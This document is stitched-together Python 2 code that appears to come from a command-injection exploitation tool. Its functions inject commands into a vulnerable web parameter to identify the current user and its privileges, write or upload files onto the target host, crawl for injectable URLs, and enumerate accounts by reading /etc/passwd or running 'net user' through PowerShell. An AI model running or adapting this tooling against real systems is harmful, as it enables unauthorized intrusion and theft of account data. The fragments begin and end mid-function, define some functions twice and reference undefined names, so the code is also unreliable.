Style.RESET_ALL + Style.BRIGHT +
"privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
success_msg = "The current user is " + str(cu_account)
sys.stdout.write(settings.print_success_msg(success_msg) + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + str(cu_account) + "\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print(settings.print_warning_msg(warn_msg))
def file_access(url, cve, check_header, filename):
#-------------------------------------
# Write to a file on the target host.
#-------------------------------------
if menu.options.file_write:
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
warn_msg = "It seems that the '" + file_to_write + "' file, does not exists."
sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
else:
warn_msg = "It seems that '" + file_to_write + "' is not a file."
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
#-------------------------------
# Check the file-destination
#-------------------------------
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'"
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
# Check if file exists!
cmd = "ls " + dest_to_write + ""
# Check if defined cookie injection.
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
if shell:
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The " + shell + Style.RESET_ALL
success_msg += Style.BRIGHT + " file was created successfully!"
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions to write the '"
warn_msg += dest_to_write + "' file." + "\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
#-------------------------------------
# Upload a file on the target host.
#-------------------------------------
if menu.options.file_upload:
file_to_upload = menu.options.file_upload
# check if remote file exists.
try:
urllib2.urlopen(file_to_upload)
except urllib2.HTTPError, warn_msg:
warn_msg = "It seems that the '" + file_to_upload + "' file, "
warn_msg += "does not exists. (" + str(warn_msg) + ")\n"
sys.stdout.write(settings.print_critical_msg(warn_msg))
sys.stdout.flush()
sys.exit(0)
# Check the file-destination
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1]
else:
dest_to_upload = menu.options.file_dest
# Execute command
cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
# Check if file exists!
cmd = "ls " + dest_to_upload
shell, payload = cmd_exec(url, cmd, cve, check_header, filename)
shell = "".join(str(p) for p in shell)
if shell:
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The " + shell
success_msg += Style.RESET_ALL + Style.BRIGHT
success_msg += " file was uploaded successfully!\n"
sys.stdout.write(settings.print_success_msg(success_msg))
sys.stdout.flush()
else:
warn_msg = "It seems that you don't have permissions "
warn_msg += "to write the '" + dest_to_upload + "' file.\n"
sys.stdout.write(settings.print_warning_msg(warn_msg))
sys.stdout.flush()
settings.FILE_ACCESS_DONE = True
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
delay, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
cu_account = output
if cu_account:
if new_line == "\n":
print ""
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if session_handler.export_stored_cmd(url, cmd,
vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
delay, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
new_line = "\n"
else:
output = session_handler.export_stored_cmd(
url, cmd, vuln_parameter)
new_line = ""
shell = output
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The current user is " + cu_account
sys.stdout.write(new_line +
settings.print_success_msg(success_msg))
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.RESET_ALL + Style.BRIGHT +
"privileged" + Style.RESET_ALL + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if settings.VERBOSITY_LEVEL >= 1:
print ""
success_msg = "The current user is " + cu_account
sys.stdout.write(settings.print_success_msg(success_msg) + ".")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
success_msg = "The current user is " + cu_account + "\n"
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
else:
warn_msg = "Heuristics have failed to identify the current user."
print settings.print_warning_msg(warn_msg)
def check_http_traffic(request):
# Delay in seconds between each HTTP request
time.sleep(int(settings.DELAY))
if settings.PROXY_PROTOCOL == 'https':
handle = httplib.HTTPSConnection
else:
handle = httplib.HTTPConnection
class do_connection(handle):
def request(self, method, url, body, headers):
info_msg = "The provided HTTP request headers: "
if settings.VERBOSITY_LEVEL >= 2:
print settings.print_info_msg(info_msg)
if menu.options.traffic_file:
logs.log_traffic("-" * 37 + "\n" + info_msg + "\n" + "-" * 37)
header = method + " " + url
if settings.VERBOSITY_LEVEL >= 2:
print settings.print_traffic(header)
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
for item in headers.items():
header = item[0] + ": " + item[1]
if settings.VERBOSITY_LEVEL >= 2:
print settings.print_traffic(header)
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if body:
header = body
if settings.VERBOSITY_LEVEL >= 2:
print settings.print_traffic(header)
if menu.options.traffic_file:
logs.log_traffic("\n" + header)
if menu.options.traffic_file:
logs.log_traffic("\n\n")
if settings.PROXY_PROTOCOL == 'https':
httplib.HTTPSConnection.request(self, method, url, body,
headers)
else:
httplib.HTTPConnection.request(self, method, url, body,
headers)
class connection_handler(urllib2.HTTPHandler, urllib2.HTTPSHandler):
if settings.PROXY_PROTOCOL == 'https':
def https_open(self, req):
try:
return self.do_open(do_connection, req)
except Exception as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg.args[0]) + "."
if settings.VERBOSITY_LEVEL < 2:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
print settings.print_critical_msg(error_msg)
raise SystemExit()
else:
def http_open(self, req):
try:
return self.do_open(do_connection, req)
except Exception as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg.args[0]) + "."
if settings.VERBOSITY_LEVEL < 2:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
print settings.print_critical_msg(error_msg)
raise SystemExit()
if settings.REVERSE_TCP == False and settings.BIND_TCP == False:
opener = urllib2.OpenerDirector()
opener.add_handler(connection_handler())
response = False
current_attempt = 0
while not response and current_attempt <= settings.MAX_RETRIES:
try:
opener.open(request)
response = True
if settings.VERBOSITY_LEVEL < 2:
if current_attempt != 0:
info_msg = "Checking connection to the target URL... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
if settings.INIT_TEST == True:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
if not settings.CHECK_INTERNET:
settings.INIT_TEST = False
except urllib2.URLError, err_msg:
if current_attempt == 0:
if settings.VERBOSITY_LEVEL < 2:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + ". "
except IndexError:
error_msg = ""
error_msg += "Please wait while retring the request(s)."
print settings.print_critical_msg(error_msg)
warn_msg = "In case the provided target URL is valid, try to rerun with"
warn_msg += " the switch '--random-agent' and/or proxy switch."
print settings.print_warning_msg(warn_msg)
if settings.VERBOSITY_LEVEL >= 2 or current_attempt == 1:
info_msg = "Please wait while retring the request(s)."
print settings.print_info_msg(info_msg)
current_attempt = current_attempt + 1
time.sleep(3)
except httplib.BadStatusLine, err_msg:
if settings.VERBOSITY_LEVEL < 2:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
if len(err_msg.line) > 2:
print err_msg.line, err_msg.message
raise SystemExit()
except AttributeError:
raise SystemExit()
def crawler(url):
if not menu.options.sitemap_url:
info_msg = "Starting crawler and searching for "
info_msg += "links with depth " + str(menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "."
print settings.print_info_msg(info_msg)
while True:
if not menu.options.sitemap_url:
if not menu.options.batch:
question_msg = "Do you want to check target for "
question_msg += "the existence of 'sitemap.xml'? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
sitemap_check = sys.stdin.readline().replace("\n","").lower()
else:
sitemap_check = ""
if len(sitemap_check) == 0:
sitemap_check = "y"
if sitemap_check in settings.CHOICE_YES:
sitemap_check = True
break
elif sitemap_check in settings.CHOICE_NO:
sitemap_check = False
break
elif sitemap_check in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + sitemap_check + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
sitemap_check = True
break
if sitemap_check:
output_href = sitemap(url)
sitemap_check = output_href
for recursion in output_href:
if recursion.endswith(".xml") and "sitemap" in recursion.lower():
while True:
warn_msg = "A sitemap recursion was detected " + "'" + recursion + "'."
print settings.print_warning_msg(warn_msg)
if not menu.options.batch:
question_msg = "Do you want to follow the detected recursion? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
sitemap_check = sys.stdin.readline().replace("\n","").lower()
else:
sitemap_check = ""
if len(sitemap_check) == 0:
sitemap_check = "y"
if sitemap_check in settings.CHOICE_YES:
output_href = sitemap(recursion)
sitemap_check = output_href
break
elif sitemap_check in settings.CHOICE_NO:
break
elif sitemap_check in settings.CHOICE_QUIT:
sys.exit(0)
else:
err_msg = "'" + sitemap_check + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
if not sitemap_check:
output_href = do_process(url)
info_msg = "Checking "
if sitemap_check:
info_msg += "targets's sitemap.xml "
info_msg += "for usable links with GET parameters... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
succeed_banner = True
valid_url_found = False
for check_url in output_href:
# Check for usable URL with GET parameters
if re.search(settings.GET_PARAMETERS_REGEX, check_url):
valid_url_found = True
if succeed_banner:
print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]"
print settings.print_success_msg(check_url)
if not menu.options.batch:
question_msg = "Do you want to use this URL to perform tests? [Y/n] > "
sys.stdout.write(settings.print_question_msg(question_msg))
use_url = sys.stdin.readline().replace("\n","").lower()
else:
use_url = ""
if len(use_url) == 0:
use_url = "y"
if use_url in settings.CHOICE_YES:
return check_url
elif use_url in settings.CHOICE_NO:
succeed_banner = False
pass
elif gotshell in settings.CHOICE_QUIT:
sys.exit(0)
if not valid_url_found:
print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]"
return url
# eof
def ps_incompatible_os():
if not settings.TARGET_OS == "win":
warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch."
print settings.print_warning_msg(warn_msg)
return True
raise SystemExit()
if menu.options.encoding:
if menu.options.encoding.lower() not in settings.ENCODING_LIST:
err_msg = "The provided charset '" + menu.options.encoding + "' is unknown. "
err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' "
err_msg += "to get the full list of supported charsets."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
settings.DEFAULT_PAGE_ENCODING = menu.options.encoding.lower()
if menu.options.header and len(menu.options.header.split("\\n")) > 1:
warn_msg = "Swithing '--header' to '--headers' "
warn_msg += "due to multiple extra HTTP headers."
print(settings.print_warning_msg(warn_msg))
if menu.options.method:
settings.HTTP_METHOD = menu.options.method
# Check if defined "--proxy" option.
if menu.options.proxy:
for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy):
_, proxy_scheme, proxy_address, proxy_port = match.groups()
if proxy_scheme:
settings.PROXY_SCHEME = proxy_scheme
menu.options.proxy = proxy_address + ":" + proxy_port
break
else:
err_msg = "Proxy value must be in format '(http|https)://address:port'."
print(settings.print_critical_msg(err_msg))
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
delay, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
# URL encode "+ " if POST request and python alternative shell.
if alter_shell and http_request_method == "POST":
settings.SYS_USERS = settings.SYS_USERS.replace("+ ", "%2B")
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
try:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
except TypeError:
output = ""
new_line = "\n"
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
new_line = ""
sys_users = output
# Windows users enumeration.
if settings.TARGET_OS == "win":
if settings.VERBOSITY_LEVEL >= 1:
print ""
info_msg = "Executing the 'net users' command "
info_msg += "to enumerate users entries... "
sys.stdout.write(new_line + settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p)
for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " via 'net users' command.\n"
sys.stdout.write("\n" +
settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
info_msg = "Confirming privileges of user '"
info_msg += sys_users_list[user] + "'... "
print settings.print_info_msg(info_msg)
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
user] + ")[22..($(net user " + sys_users_list[
user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)"
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix,
whitespace, delay, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename, url_time_response)
check_privs = output
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
if settings.VERBOSITY_LEVEL >= 1:
print ""
print "\n (" + str(
count
) + ") '" + Style.BRIGHT + sys_users_list[
user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "."
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
sys_users_list[user] + is_privileged +
".\n")
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to enumerate users entries."
print "\n" + settings.print_warning_msg(warn_msg)
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
# Unix-like users enumeration.
else:
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries... "
sys.stdout.write(new_line + settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1:
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0:
sys.stdout.write("[ " + Fore.RED + "FAILED" +
Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE
warn_msg += "' file is not in the appropriate format. "
warn_msg += "Thus, it is expoted as a text file."
print "\n" + settings.print_warning_msg(warn_msg)
sys_users = " ".join(str(p) for p in sys_users).strip()
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user:user + 3])
if len(sys_users_list) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + (
'ies', 'y')[len(sys_users_list) == 1]
success_msg += " in '" + settings.PASSWD_FILE + "'."
sys.stdout.write(
"\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)
).sub("", settings.SUCCESS_SIGN) +
success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
if settings.VERBOSITY_LEVEL >= 1:
print ""
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(
fields[1]) < 99:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(
fields[1]) < 65534:
if int(fields[1]) == 99 or int(
fields[1]) == 60001 or int(
fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
else:
is_privileged = ""
is_privileged_nh = ""
sys.stdout.write("\n (" + str(count) + ") '" +
Style.BRIGHT + fields[0] +
Style.RESET_ALL + "'" +
Style.BRIGHT + is_privileged +
Style.RESET_ALL + "(uid=" +
fields[1] +
"). Home directory is in '" +
Style.BRIGHT + fields[2] +
Style.RESET_ALL + "'.")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) +
") '" + fields[0] + "'" +
is_privileged_nh + "(uid=" +
fields[1] +
"). Home directory is in '" +
fields[2] + "'.\n")
output_file.close()
except ValueError:
if count == 1:
warn_msg = "It seems that '" + settings.SHADOW_FILE
warn_msg += "' file is not in the appropriate format. "
warn_msg += "Thus, it is expoted as a text file."
print settings.print_warning_msg(warn_msg)
sys_users = " ".join(
str(p) for p in sys_users.split(":"))
print sys_users
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' o enumerate users entries."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename):
if settings.TARGET_OS == "win":
settings.SYS_USERS = settings.WIN_SYS_USERS
settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
if alter_shell:
settings.SYS_USERS = settings.SYS_USERS.replace("'", "\\'")
else:
settings.SYS_USERS = "\"" + settings.SYS_USERS + "\""
cmd = settings.SYS_USERS
if session_handler.export_stored_cmd(
url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix,
suffix, whitespace,
http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename)
# Evaluate injection results.
sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE,
timesec)
sys_users = "".join(str(p) for p in sys_users)
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
# Windows users enumeration.
if settings.TARGET_OS == "win":
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
info_msg = "Executing the 'net users' command "
info_msg += "to enumerate users entries... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p)
for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " via 'net users' command.\n"
sys.stdout.write("\n" +
settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
user] + ")[22..($(net user " + sys_users_list[
user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')"
if alter_shell:
cmd = cmd.replace("'", "\\'")
else:
cmd = "\"" + cmd + "\""
response = fb_injector.injection(
separator, payload, TAG, cmd, prefix, suffix,
whitespace, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename)
check_privs = fb_injector.injection_results(
url, OUTPUT_TEXTFILE, timesec)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
print(" (" + str(count) + ") '" + Style.BRIGHT +
sys_users_list[user] + Style.RESET_ALL + "'" +
Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
sys_users_list[user] + is_privileged +
".\n")
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to enumerate users entries."
print("\n" + settings.print_warning_msg(warn_msg)
) # Unix-like users enumeration.
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
else:
# if settings.VERBOSITY_LEVEL >= 1:
# print("")
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1:
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0:
sys.stdout.write("[ " + Fore.RED + "FAILED" +
Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
print("\n" + settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user:user + 3])
if len(sys_users_list) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + (
'ies', 'y')[len(sys_users_list) == 1]
success_msg += " in '" + settings.PASSWD_FILE + "'.\n"
sys.stdout.write(
"\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)
).sub("", settings.SUCCESS_SIGN) +
success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(
fields[1]) < 99:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(
fields[1]) < 65534:
if int(fields[1]) == 99 or int(
fields[1]) == 60001 or int(
fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
